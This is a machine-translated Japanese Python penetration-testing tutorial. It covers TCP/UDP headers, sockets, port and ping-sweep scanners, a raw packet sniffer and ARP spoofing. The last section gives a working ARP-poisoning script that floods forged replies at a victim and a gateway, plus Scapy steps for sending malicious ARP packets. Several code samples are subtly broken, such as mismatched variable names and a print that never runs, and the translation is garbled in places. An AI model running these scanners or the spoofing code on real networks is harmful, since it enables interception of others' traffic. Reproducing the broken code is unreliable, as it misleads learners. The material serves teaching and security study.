    *PSH* -設定されている場合、受信ステーションへの要求であり、データをバッファリングせずに受信アプリケーションにプッシュします(データが到着するとすぐに)。
    *RST* -リセットフラグには次の機能があります-
  • 着信接続を拒否するために使用されます。

  • セグメントを拒否するために使用されます。

  • 接続を再開するために使用されます。

    *SYN* -このフラグは、ホスト間の接続を設定するために使用されます。
    *FIN* -このフラグは接続を解除するために使用され、それ以降はデータは交換されません。 SYNおよびFINフラグを持つパケットにはシーケンス番号があるため、正しい順序で処理されます。

Windowsサイズ

このフィールドは、2つのステーション間のフロー制御に使用され、レシーバーがセグメントに割り当てたバッファーの量(バイト単位)、つまりレシーバーが予想するデータ量を示します。

  • チェックサム-このフィールドには、ヘッダー、データ、および疑似ヘッダーのチェックサムが含まれます。
  • 緊急ポインタ-URGフラグが1に設定されている場合、緊急データバイトを指します。
  • オプション-追加オプションを容易にしますが、通常のヘッダーではカバーされません。 オプションフィールドは常に32ビットワードで記述されます。 このフィールドに32ビット未満のデータが含まれる場合、32ビット境界に達するまで残りのビットをカバーするためにパディングが使用されます。

TCPについて詳しく知りたい場合は、このリンクを参照してください— link:/data_communication_computer_network/transmission_control_protocol [https://www.finddevguides.com/data_communication_computer_network/transmission_control_protocol]

UDP(ユーザーデータグラムプロトコル)ヘッダーアーキテクチャ

UDPは、接続指向のプロトコルであるTCPとは異なり、単純なコネクションレスプロトコルです。 最小限の通信メカニズムが含まれます。 UDPでは、受信者は受信したパケットの確認応答を生成せず、送信者は送信されたパケットの確認応答を待機しません。 この欠点により、このプロトコルは信頼性が低くなり、処理が容易になります。 以下は、フィールドの説明と一緒にUDPヘッダーの図です-

UPD

送信元ポート

この16ビットの情報は、パケットの送信元ポートを識別するために使用されます。

宛先ポート

この16ビットの情報は、宛先マシン上のアプリケーションレベルのサービスを識別するために使用されます。

長さ

長さフィールドは、UDPパケットの全長(ヘッダーを含む)を指定します。 これは16ビットのフィールドであり、最小値は8バイト、つまりUDPヘッダー自体のサイズです。

チェックサム

このフィールドには、送信前に送信者が生成したチェックサム値が格納されます。 IPv4にはこのフィールドがオプションであるため、チェックサムフィールドに値が含まれていない場合は0になり、そのビットはすべてゼロに設定されます。

TCPの詳細については、こちらのリンクを参照してください— link:/data_communication_computer_network/user_datagram_protocol [User Datagram Protocol]

ソケットとそのメソッド

ソケットは、双方向通信チャネルのエンドポイントです。 プロセス内、同じマシン上のプロセス間、または異なるマシン上のプロセス間で通信できます。 同様に、ネットワークソケットは、インターネットなどのコンピューターネットワーク上で実行される2つのプログラム間の通信フローの1つのエンドポイントです。 これは純粋に仮想的なものであり、ハードウェアを意味するものではありません。 ネットワークソケットは、IPアドレスとポート番号の一意の組み合わせによって識別できます。 ネットワークソケットは、TCP、UDPなどのさまざまなチャネルタイプで実装できます。

ネットワークプログラミングで使用されるソケットに関連するさまざまな用語は次のとおりです-

ドメイン

ドメインは、トランスポートメカニズムとして使用されるプロトコルファミリです。 これらの値は、AF_INET、PF_INET、PF_UNIX、PF_X25などの定数です。

Type

タイプは、2つのエンドポイント間の通信の種類を意味します。通常、接続指向プロトコルの場合はSOCK_STREAM、コネクションレスプロトコルの場合はSOCK_DGRAMです。

プロトコル

これは、ドメインおよびタイプ内のプロトコルのバリアントを識別するために使用できます。 デフォルト値は0です。 通常、これは省略されます。

ホスト名

これは、ネットワークインターフェイスの識別子として機能します。 ホスト名は、文字列、ドットで区切られた4つのアドレス、またはコロン(およびドット)表記のIPV6アドレスです。

Port

各サーバーは、1つ以上のポートで呼び出しているクライアントをリッスンします。 ポートは、Fixnumポート番号、ポート番号を含む文字列、またはサービスの名前です。

ソケットプログラミング用のPythonのソケットモジュール

Pythonでソケットプログラミングを実装するには、Socketモジュールを使用する必要があります。 以下は、ソケットを作成するための簡単な構文です-

import socket
s = socket.socket (socket_family, socket_type, protocol = 0)

ここでは、ソケットライブラリをインポートしてから、単純なソケットを作成する必要があります。 以下は、ソケットを作成するときに使用されるさまざまなパラメータです-

  • socket_family -これは、前述のようにAF_UNIXまたはAF_INETのいずれかです。
  • socket_type -これはSOCK_STREAMまたはSOCK_DGRAMのいずれかです。
  • protocol -これは通常省略され、デフォルトは0です。

ソケットメソッド

このセクションでは、さまざまなソケットメソッドについて学習します。 ソケットメソッドの3つの異なるセットは以下に説明されています-

  • サーバーソケットメソッド
  • クライアントソケットメソッド
  • 一般的なソケットメソッド

サーバーソケットメソッド

クライアント/サーバーアーキテクチャには、サービスを提供する1つの集中サーバーがあり、多くのクライアントがその集中サーバーからサービスを受け取ります。 クライアントはサーバーへのリクエストも行います。 このアーキテクチャのいくつかの重要なサーバーソケットメソッドは次のとおりです-

  • * socket.bind()*-このメソッドは、アドレス(ホスト名、ポート番号)をソケットにバインドします。
  • * socket.listen()*-このメソッドは、基本的にソケットへの接続をリッスンします。 TCPリスナーを起動します。 バックログは、キューに入れられた接続の最大数を指定するこのメソッドの引数です。 その最小値は0で、最大値は5です。
  • * socket.accept()*-これはTCPクライアント接続を受け入れます。 ペア(conn、address)は、このメソッドの戻り値のペアです。 ここで、connは接続でデータを送受信するために使用される新しいソケットオブジェクトであり、addressはソケットにバインドされたアドレスです。 このメソッドを使用する前に、socket.bind()およびsocket.listen()メソッドを使用する必要があります。

クライアントソケットメソッド

クライアント/サーバーアーキテクチャのクライアントは、サーバーを要求し、サーバーからサービスを受け取ります。 このため、クライアント専用の方法は1つだけです-

  • * socket.connect(address)*-このメソッドは、積極的にサーバー接続を確立します。簡単に言えば、このメソッドはクライアントをサーバーに接続します。 引数addressは、サーバーのアドレスを表します。

一般的なソケットメソッド

クライアントおよびサーバーのソケットメソッド以外に、一般的なソケットメソッドがいくつかあり、これらはソケットプログラミングに非常に役立ちます。 一般的なソケットメソッドは次のとおりです-

  • * socket.recv(bufsize)*-名前が示すように、このメソッドはソケットからTCPメッセージを受信します。 引数bufsizeはバッファサイズを表し、このメソッドが一度に受信できる最大データを定義します。
  • * socket.send(bytes)*-このメソッドは、リモートマシンに接続されているソケットにデータを送信するために使用されます。 引数bytesは、ソケットに送信されたバイト数を示します。
  • * socket.recvfrom(data、address)*-このメソッドは、ソケットからデータを受け取ります。 このメソッドは、2つのペア(データ、アドレス)の値を返します。 データは受信データを定義し、アドレスはデータを送信するソケットのアドレスを指定します。
  • * socket.sendto(data、address)*-名前が示すように、このメソッドはソケットからデータを送信するために使用されます。 このメソッドは、2つのペア(データ、アドレス)の値を返します。 データは送信されるバイト数を定義し、アドレスはリモートマシンのアドレスを指定します。
  • * socket.close()*-このメソッドはソケットを閉じます。
  • * socket.gethostname()*-このメソッドは、ホストの名前を返します。
  • * socket.sendall(data)*-このメソッドは、リモートマシンに接続されているソケットにすべてのデータを送信します。 エラーが発生するまで不用意にデータを転送し、エラーが発生した場合はsocket.close()メソッドを使用してソケットを閉じます。

サーバーとクライアント間の接続を確立するプログラム

サーバーとクライアント間の接続を確立するには、サーバー用とクライアント用の2つの異なるPythonプログラムを作成する必要があります。

サーバー側プログラム

このサーバー側のソケットプログラムでは、特定のIPアドレスとポートにバインドする* socket.bind()メソッドを使用して、そのIPとポートで着信要求をリッスンできるようにします。 後で、サーバーをリッスンモードにする socket.listen()メソッドを使用します。 * socket.listen()*メソッドの引数としての4という数は、サーバーがビジーで、5番目のソケットが接続を試みると接続が拒否される場合、4つの接続が待機することを意味します。 * socket.send()*メソッドを使用して、クライアントにメッセージを送信します。 最後に向かって、接続の開始と終了にそれぞれ socket.accept() socket.close()*メソッドを使用します。 以下は、サーバー側のプログラムです-

import socket
def Main():
   host = socket.gethostname()
   port = 12345
   serversocket = socket.socket()
   serversocket.bind((host,port))
   serversocket.listen(1)
   print('socket is listening')

   while True:
      conn,addr = serversocket.accept()
      print("Got connection from %s" % str(addr))
      msg = 'Connecting Established'+ "\r\n"
      conn.send(msg.encode('ascii'))
      conn.close()
if __name__ == '__main__':
   Main()

クライアント側プログラム

クライアント側のソケットプログラムでは、ソケットオブジェクトを作成する必要があります。 次に、サーバーが実行されているポート(この例では12345)に接続します。 その後、* socket.connect()メソッドを使用して接続を確立します。 次に、 socket.recv()メソッドを使用して、クライアントはサーバーからメッセージを受信します。 最後に、 socket.close()*メソッドはクライアントを閉じます。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = socket.gethostname()
port = 12345

s.connect((host, port))
msg = s.recv(1024)

s.close()
print (msg.decode('ascii'))

さて、サーバー側のプログラムを実行した後、ターミナルで次の出力を取得します-

socket is listening
Got connection from ('192.168.43.75', 49904)

そして、クライアント側のプログラムを実行した後、我々は他の端末で次の出力を取得します-

Connection Established

ネットワークソケット例外の処理

ネットワークソケット例外を処理するために使用できる tryexcept の2つのブロックがあります。 以下は、例外を処理するためのPythonスクリプトです-

import socket
host = "192.168.43.75"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
   s.bind((host,port))
   s.settimeout(3)
   data, addr = s.recvfrom(1024)
   print ("recevied from ",addr)
   print ("obtained ", data)
   s.close()
except socket.timeout :
   print ("No connection between client and server")
   s.close()

出力

上記のプログラムは、次の出力を生成します-

No connection between client and server

上記のスクリプトでは、最初にソケットオブジェクトを作成しました。 次に、サーバーが実行されているホストIPアドレスとポート番号(この例では12345)を指定しました。 後で、tryブロックが使用され、その内部で* socket.bind()メソッドを使用して、IPアドレスとポートをバインドしようとします。 クライアントの待機時間を設定するために socket.settimeout()*メソッドを使用しています。この例では3秒を設定しています。 サーバーとクライアント間で接続が確立されない場合にメッセージを出力するexceptブロックが使用されます。

Pythonネットワークスキャナー

ポートスキャンは、特定のホストで使用可能な開いているポートを見つけるために使用される監視技術として定義できます。 ネットワーク管理者、ペネトレーションテスター、またはハッカーがこの手法を使用できます。 ターゲットシステムから最大の情報を取得するために、要件に従ってポートスキャナーを構成できます。

次に、ポートスキャンの実行後に取得できる情報を検討します-

  • 開いているポートに関する情報。
  • 各ポートで実行されているサービスに関する情報。
  • ターゲットホストのOSおよびMACアドレスに関する情報。

ポートスキャンは、ドアや窓をすべてチェックして、開いているものを確認することにより、家に入ることを望む泥棒のようなものです。 前述のように、インターネット上の通信に使用されるTCP/IPプロトコルスイートは、TCPとUDPの2つのプロトコルで構成されています。 両方のプロトコルには、0〜65535のポートがあります。 したがって、システムの不必要なポートを閉じることを常にお勧めします。したがって、ロックするには65000以上のドア(ポート)があります。 これらの65535ポートは、次の3つの範囲に分けることができます-

  • システムポートまたは既知のポート:0〜1023
  • ユーザーまたは登録済みポート:1024〜49151 *動的ポートまたはプライベートポート:すべて> 49151

ソケットを使用したポートスキャナー

前の章で、ソケットとは何かについて説明しました。 次に、ソケットを使用して簡単なポートスキャナーを構築します。 以下は、ソケットを使用したポートスキャナー用のPythonスクリプトです-

from socket import*
import time
startTime = time.time()

if __name__ == '__main__':
   target = input('Enter the host to be scanned: ')
   t_IP = gethostbyname(target)
   print ('Starting scan on host: ', t_IP)

   for i in range(50, 500):
      s = socket(AF_INET, SOCK_STREAM)

      conn = s.connect_ex((t_IP, i))
      if(conn == 0) :
         print ('Port %d: OPEN' % (i,))
      s.close()
print('Time taken:', time.time() - startTime)

上記のスクリプトを実行すると、ホスト名の入力が求められます。Webサイトの名前などのホスト名を指定できますが、ポートスキャンは犯罪と見なされるか、犯罪と見なされる可能性があるため注意してください。 ターゲットとするサーバーまたはコンピューターの所有者からの明示的な書面による許可なしに、WebサイトまたはIPアドレスに対してポートスキャナーを実行しないでください。 ポートスキャンは、誰かの家に行き、ドアや窓をチェックするようなものです。 そのため、localhostまたは自分のWebサイト(ある場合)でポートスキャナーを使用することをお勧めします。

出力

上記のスクリプトは、次の出力を生成します-

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467

出力は、50〜500の範囲(スクリプトで提供)で、このポートスキャナーが2つのポートを検出したことを示しています-ポート135と445が開いています。 この範囲を変更して、他のポートを確認できます。

ICMPを使用したポートスキャナー(ネットワーク内のライブホスト)

ICMPはポートスキャンではありませんが、リモートホストをpingしてホストが起動しているかどうかを確認するために使用されます。 このスキャンは、ネットワーク内のライブホストの数を確認する必要がある場合に役立ちます。 ICMP ECHO要求をホストに送信し、そのホストが稼働している場合は、ICMP ECHO応答を返します。

ICMPを使用したポートスキャナー

ICMP要求を送信する上記のプロセスは、pingスキャンとも呼ばれ、オペレーティングシステムのpingコマンドによって提供されます。

Ping Sweepの概念

実際、ある意味では、pingスイープはpingスイープとも呼ばれます。 唯一の違いは、pingスイープが特定のネットワーク範囲で複数のマシンの可用性を見つける手順であることです。 たとえば、IPアドレスの完全なリストをテストしたい場合、pingスキャン、つまりオペレーティングシステムのpingコマンドを使用して、IPアドレスを1つずつスキャンするのは非常に時間がかかります。 そのため、pingスイープスクリプトを使用する必要があります。 以下は、pingスイープを使用してライブホストを見つけるためのPythonスクリプトです-

import os
import platform

from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()

if (oper == "Windows"):
   ping1 = "ping -n 1 "
elif (oper == "Linux"):
   ping1 = "ping -c 1 "
else :
   ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")

for ip in range(st1,en1):
   addr = net2 + str(ip)
   comm = ping1 + addr
   response = os.popen(comm)

   for line in response.readlines():
      if(line.count("TTL")):
         break
      if (line.count("TTL")):
         print (addr, "--> Live")

t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)

上記のスクリプトは3つの部分で機能します。 最初にIPアドレスの範囲を選択し、pingスイープスキャンを複数の部分に分割します。 次に、オペレーティングシステムに応じてpingスイープのコマンドを選択する関数を使用します。最後に、ホストに関する応答とスキャンプロセスの完了にかかった時間を示します。

出力

上記のスクリプトは、次の出力を生成します-

Enter the Network Address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 100

Scanning in Progress:
Scanning completed in: 0:00:02.711155

上記の出力は、ファイアウォールがオンになっており、ICMPインバウンド設定も無効になっているため、ライブポートを示していません。 これらの設定を変更すると、出力で提供される1〜100の範囲のライブポートのリストを取得できます。

TCPスキャンを使用するポートスキャナー

TCP接続を確立するには、ホストはスリーウェイハンドシェイクを実行する必要があります。 アクションを実行するには、次の手順に従ってください-

ステップ1-SYNフラグが設定されたパケット

このステップでは、接続を開始しようとしているシステムは、SYNフラグが設定されたパケットで開始します。

ステップ2-SYN-ACKフラグが設定されたパケット

このステップでは、ターゲットシステムはSYNフラグとACKフラグが設定されたパケットを返します。

ステップ3-ACKフラグが設定されたパケット

最後に、開始システムは、ACKフラグが設定された元のターゲットシステムにパケットを返します。

それでも、ここで生じる問題は、ICMPエコー要求および応答メソッド(pingスイープスキャナー)を使用してポートスキャンを実行できる場合、なぜTCPスキャンが必要なのかということです。 その背後にある主な理由は、ICMP ECHO応答機能をオフにするか、ICMPパケットに対してファイアウォールを使用すると、pingスイープスキャナーが機能せず、TCPスキャンが必要になると想定しているためです。

import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()

def scan(addr):
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket.setdefaulttimeout(1)
   result = s.connect_ex((addr,135))
   if result == 0:
      return 1
   else :
      return 0

def run1():
   for ip in range(st1,en1):
      addr = net2 + str(ip)
      if (scan(addr)):
         print (addr , "is live")

run1()
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: " , total)

上記のスクリプトは3つの部分で機能します。 IPアドレスの範囲を選択し、pingスイープスキャンを複数の部分に分割します。 これに続いて、アドレスをスキャンする機能を使用し、さらにソケットを使用します。 後で、ホストに関する応答とスキャンプロセスの完了にかかった時間を示します。 結果= s。 connect_ex((addr、135))ステートメントは、エラーインジケーターを返します。 操作が成功した場合、エラーインジケータは0になります。それ以外の場合、errno変数の値になります。 ここでは、ポート135を使用しました。このスキャナーはWindowsシステムで動作します。 ここで機能する別のポートは445(Microsoft-DSActive Directory)で、通常は開いています。

出力

上記のスクリプトは、次の出力を生成します-

Enter the IP address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 10

127.0.0.1 is live
127.0.0.2 is live
127.0.0.3 is live
127.0.0.4 is live
127.0.0.5 is live
127.0.0.6 is live
127.0.0.7 is live
127.0.0.8 is live
127.0.0.9 is live
127.0.0.10 is live
Scanning completed in: 0:00:00.230025

効率を向上させるスレッドポートスキャナー

上記のケースで見たように、ポートスキャンは非常に遅くなる可能性があります。 たとえば、ソケットポートスキャナーの使用中に50〜500のポートをスキャンするのにかかる時間は452.3990001678467であることがわかります。 速度を向上させるために、スレッド化を使用できます。 以下は、スレッドを使用したポートスキャナーの例です-

import socket
import time
import threading

from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()

target = input('Enter the host to be scanned: ')
t_IP = socket.gethostbyname(target)
print ('Starting scan on host: ', t_IP)

def portscan(port):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
      con = s.connect((t_IP, port))
      with print_lock:
         print(port, 'is open')
      con.close()
   except:
      pass

def threader():
   while True:
      worker = q.get()
      portscan(worker)
      q.task_done()

q = Queue()
   startTime = time.time()

for x in range(100):
   t = threading.Thread(target = threader)
   t.daemon = True
   t.start()

for worker in range(1, 500):
   q.put(worker)

q.join()
print('Time taken:', time.time() - startTime)

上記のスクリプトでは、Pythonパッケージに組み込まれているスレッドモジュールをインポートする必要があります。 スレッドロックの概念* thread_lock = threading.Lock()*を使用して、一度に複数の変更を行わないようにします。 基本的に、threading.Lock()は、一度に1つのスレッドが変数にアクセスできるようにします。 したがって、二重の変更は発生しません。

後で、ワーカーforループから作業(ポート)をフェッチする1つのthreader()関数を定義します。 次に、portscan()メソッドを呼び出してポートに接続し、結果を出力します。 ポート番号はパラメーターとして渡されます。 タスクが完了すると、q.task_done()メソッドが呼び出されます。

上記のスクリプトを実行すると、50〜500ポートのスキャン速度の違いがわかります。 わずか1.3589999675750732秒しかかかりませんでした。これは、同じ数のlocalhostのポートをスキャンするためにソケットポートスキャナーが費やす時間である452.3990001678467よりも非常に短い時間です。

出力

上記のスクリプトは、次の出力を生成します-

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
135 is open
445 is open
Time taken: 1.3589999675750732

ネットワークパケットスニッフィング

スニッフィングまたはネットワークパケットスニッフィングは、スニッフィングツールを使用して、特定のネットワークを通過するすべてのパケットを監視およびキャプチャするプロセスです。 これは、「電話線をタップ」して会話を知ることができる形式です。 *盗聴*とも呼ばれ、コンピューターネットワークに適用できます。

エンタープライズスイッチポートのセットが開いていると、従業員の1人がネットワークのトラフィック全体を傍受できる可能性が非常に高くなります。 物理的に同じ場所にいる人なら誰でも、イーサネットケーブルを使用してネットワークに接続したり、そのネットワークにワイヤレスで接続して、トラフィック全体を盗聴したりできます。

つまり、スニッフィングを使用すると、保護されているトラフィックと保護されていないトラフィックの両方を見ることができます。 適切な条件で適切なプロトコルを使用すると、攻撃者は、さらなる攻撃に使用できる情報を収集したり、ネットワークまたはシステムの所有者に他の問題を引き起こす可能性があります。

何を盗聴できますか?

ネットワークから次の機密情報を盗聴できます-

  • メールトラフィック
  • FTPパスワード
  • Webトラフィック
  • Telnetパスワード
  • ルーターの構成
  • チャットセッション
  • DNSトラフィック

スニッフィングはどのように機能しますか?

スニッファーは通常、システムのNICを無差別モードに切り替えて、そのセグメントで送信されるすべてのデータをリッスンします。

プロミスキャスモードは、イーサネットハードウェア、特にネットワークインターフェイスカード(NIC)のユニークな方法を指します。これにより、NICは、このNICにアドレス指定されていなくても、ネットワーク上のすべてのトラフィックを受信できます。 デフォルトでは、NICは、アドレス指定されていないすべてのトラフィックを無視します。これは、イーサネットパケットの宛先アドレスをデバイスのハードウェアアドレス(MAC)と比較することにより行われます。 これはネットワーキングには完全に理にかなっていますが、非混合モードでは、ネットワークの監視および分析ソフトウェアを使用して接続の問題またはトラフィックアカウンティングを診断することは困難です。

スニファーは、データパケットにカプセル化された情報をデコードすることにより、NICを介してコンピューターへのすべてのトラフィックを継続的に監視できます。

スニッフィングの種類

スニッフィングは、本質的にアクティブまたはパッシブのいずれかです。 次に、さまざまな種類のスニッフィングについて学習します。

受動スニッフィング

パッシブスニッフィングでは、トラフィックはロックされますが、いかなる方法でも変更されません。 パッシブスニッフィングでは、リスニングのみが許可されます。 ハブデバイスで動作します。 ハブデバイスでは、トラフィックはすべてのポートに送信されます。 ハブを使用してシステムを接続するネットワークでは、ネットワーク上のすべてのホストがトラフィックを見ることができます。 したがって、攻撃者は通過するトラフィックを簡単にキャプチャできます。

幸いなことに、最近ではハブはほとんど使用されなくなっています。 最新のネットワークのほとんどはスイッチを使用しています。 したがって、受動的スニッフィングはもはや効果的ではありません。

アクティブスニッフィング

アクティブスニッフィングでは、トラフィックはロックおよび監視されるだけでなく、攻撃によって決定される何らかの方法で変更される可能性があります。 アクティブスニッフィングは、スイッチベースのネットワークのスニッフィングに使用されます。 これには、アドレス解決パケット(ARP)をターゲットネットワークに注入して、スイッチのContent Addressable Memory(CAM)テーブルをフラッディングすることが含まれます。 CAMは、どのホストがどのポートに接続されているかを追跡します。

アクティブスニッフィングテクニックは次のとおりです-

  • MACフラッディング
  • DHCP攻撃
  • DNSポイズニング
  • なりすまし攻撃
  • ARP中毒

プロトコルに対するスニッフィング効果

  • 試行済みの真のTCP/IP *などのプロトコルは、セキュリティを考慮して設計されたことはありません。 そのようなプロトコルは、潜在的な侵入者に対してあまり抵抗しません。 以下は、簡単なスニッフィングに役立つさまざまなプロトコルです-

HTTP

暗号化せずにクリアテキストで情報を送信するために使用されるため、実際のターゲットになります。

SMTP(簡易メール転送プロトコル)

SMTPは電子メールの転送に使用されます。 このプロトコルは効率的ですが、スニッフィングに対する保護は含まれていません。

NNTP(ネットワークニュース転送プロトコル)

すべてのタイプの通信に使用されます。 これの大きな欠点は、データとパスワードさえもクリアテキストとしてネットワーク経由で送信されることです。

POP(郵便局プロトコル)

POPは、サーバーからメールを受信するために厳密に使用されます。 このプロトコルにはトラップされる可能性があるため、スニッフィングに対する保護は含まれていません。

FTP(ファイル転送プロトコル)

FTPはファイルの送受信に使用されますが、セキュリティ機能は提供しません。 すべてのデータは、簡単に盗聴できるクリアテキストとして送信されます。

IMAP(インターネットメッセージアクセスプロトコル)

IMAPの機能はSMTPと同じですが、スニッフィングに対して非常に脆弱です。

Telnet

Telnetはすべて(ユーザー名、パスワード、キーストローク)をクリアテキストとしてネットワーク経由で送信するため、簡単に盗聴できます。

スニファーは、ライブトラフィックのみを表示できるダムユーティリティではありません。 各パケットを本当に分析したい場合は、キャプチャを保存し、時間が許す限りそれを確認してください。

Pythonを使用した実装

生のソケットスニファーを実装する前に、以下に説明するように struct メソッドを理解しましょう-

struct.pack(fmt、a1、a2、…)

名前が示すように、このメソッドは、指定された形式に従ってパックされた文字列を返すために使用されます。 文字列には、値a1、a2などが含まれます。

struct.unpack(fmt、string)

名前が示すように、このメソッドは指定された形式に従って文字列を展開します。

パケットの次の20バイトである未加工のソケットスニッファーIPヘッダーの次の例では、これらの20バイトの中で最後の8バイトに関心があります。 後者のバイトは、送信元と宛先のIPアドレスが解析中かどうかを示します-

今、私たちは次のようにいくつかの基本的なモジュールをインポートする必要があります-

import socket
import struct
import binascii

ここで、3つのパラメーターを持つソケットを作成します。 最初のパラメーターは、パケットインターフェイスについて説明します。Linux固有の場合はPF_PACKET、Windowsの場合はAF_INETです。 2番目のパラメーターは、それがrawソケットであることを示し、3番目のパラメーターは、IPプロトコルに使用される0x0800に関心のあるプロトコルを示します。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

次に、パケットを受信するために* recvfrom()*メソッドを呼び出す必要があります。

while True:
   packet = s.recvfrom(2048)

次のコード行では、イーサネットヘッダーをリッピングしています-

ethernet_header = packet[0][0:14]

次のコード行では、 struct メソッドを使用してヘッダーを解析および展開しています-

eth_header = struct.unpack("!6s6s2s", ethernet_header)

次のコード行は、 binascii モジュールの hexify によって変換された3つの16進値を持つタプルを返します-

print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])

次のコード行を実行してIPヘッダーを取得できます-

ipheader = pkt[0][14:34]
ip_header = struct.unpack("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])

同様に、TCPヘッダーも解析できます。

Python侵入テスト-ARPスプーフィング

ARPは、インターネットプロトコル(IP)アドレスを物理マシンアドレスにマッピングするために使用されるステートレスプロトコルとして定義できます。

ARPの働き

このセクションでは、ARPの動作について学習します。 ARPの仕組みを理解するには、次の手順を検討してください-

  • *ステップ1 *-最初に、マシンが別のマシンと通信する場合、物理アドレスのARPテーブルを検索する必要があります。
  • *ステップ2 *-マシンの物理アドレスが見つかった場合、パケットは適切な長さに変換された後、目的のマシンに送信されます
  • *ステップ3 *-ただし、テーブル内のIPアドレスのエントリが見つからない場合、ARP_requestはネットワーク経由でブロードキャストされます。
  • *ステップ4 *-ネットワーク上のすべてのマシンは、ブロードキャストされたIPアドレスをMACアドレスと比較し、ネットワーク内のマシンのいずれかがアドレスを識別した場合、IPおよびMACアドレスとともにARP_requestに応答します。 このようなARPメッセージはARP_replyと呼ばれます。
  • *ステップ5 *-最後に、要求を送信するマシンはARPテーブルにアドレスペアを保存し、通信全体が行われます。

ARPスプーフィングとは何ですか?

悪意のある攻撃者がローカルエリアネットワークを介して偽造されたARP要求を送信する攻撃の一種として定義される場合があります。 ARPポイズニングは、ARPスプーフィングとも呼ばれます。 それは、次の点の助けを借りて理解することができます-

  • スイッチを過負荷にするための最初のARPスプーフィングは、膨大な数の偽装されたARP要求および応答パケットを構築します。
  • その後、スイッチは転送モードに設定されます。
  • これで、ARPテーブルはスプーフィングされたARP応答であふれ、攻撃者はすべてのネットワークパケットを盗聴できるようになります。

Pythonを使用した実装

このセクションでは、ARPスプーフィングのPython実装を理解します。 このためには、3つのMACアドレスが必要です。1つ目は被害者、2つ目は攻撃者、3つ目はゲートウェイです。 それに加えて、ARPプロトコルのコードを使用する必要もあります。

次のように必要なモジュールをインポートしましょう-

import socket
import struct
import binascii

ここで、3つのパラメーターを持つソケットを作成します。 最初のパラメーターはパケットインターフェイス(Linux固有のPF_PACKETおよびWindowsのAF_INET)を示し、2番目のパラメーターはそれがrawソケットであるかどうかを示し、3番目のパラメーターは関心のあるプロトコルを示します(ここではIPに使用される0x0800プロトコル)。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

攻撃者、被害者、ゲートウェイマシンのMACアドレスを提供します-

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

私たちは示されているようにARPプロトコルのコードを与える必要があります-

code ='\x08\x06'

犠牲マシン用とゲートウェイマシン用の2つのイーサネットパケットは、次のように作成されています-

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

コードの次の行は、ARPヘッダーに応じた順序です-

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

ここで、ゲートウェイマシンと被害者のマシンのIPアドレスを指定する必要があります(ゲートウェイと被害者のマシンに次のIPアドレスがあると仮定しましょう)

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'
  • socket.inet_aton()*メソッドを使用して、上記のIPアドレスを16進形式に変換します。
gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

次のコード行を実行して、ゲートウェイマシンのIPアドレスを変更します。

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Kali LinuxでScapyを使用した実装

ARPスプーフィングは、Kali LinuxのScapyを使用して実装できます。 同じを実行するには、次の手順に従ってください-

ステップ1:攻撃者のマシンのアドレス

このステップでは、Kali Linuxのコマンドプロンプトでコマンド ifconfig を実行して、攻撃者のマシンのIPアドレスを見つけます。

ステップ2:ターゲットマシンのアドレス

このステップでは、別の仮想マシンで開く必要があるKali Linuxのコマンドプロンプトでコマンド ifconfig を実行して、ターゲットマシンのIPアドレスを見つけます。

ステップ3:ターゲットマシンへのPing

このステップでは、次のコマンドの助けを借りて、攻撃者のマシンからターゲットマシンにpingを実行する必要があります-

Ping –c 192.168.43.85(say IP address of target machine)

ステップ4:ターゲットマシンのARPキャッシュ

2台のマシンがARPパケットを使用してMACアドレスを交換することは既にわかっているため、手順3の後、ターゲットマシンで次のコマンドを実行してARPキャッシュを確認できます-

arp -n

ステップ5:Scapyを使用したARPパケットの作成

次のようにScapyの助けを借りてARPパケットを作成できます-

scapy
arp_packt = ARP()
arp_packt.display()

ステップ6:Scapyを使用した悪意のあるARPパケットの送信

私たちは次のようにScapyの助けを借りて悪意のあるARPパケットを送信することができます-

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

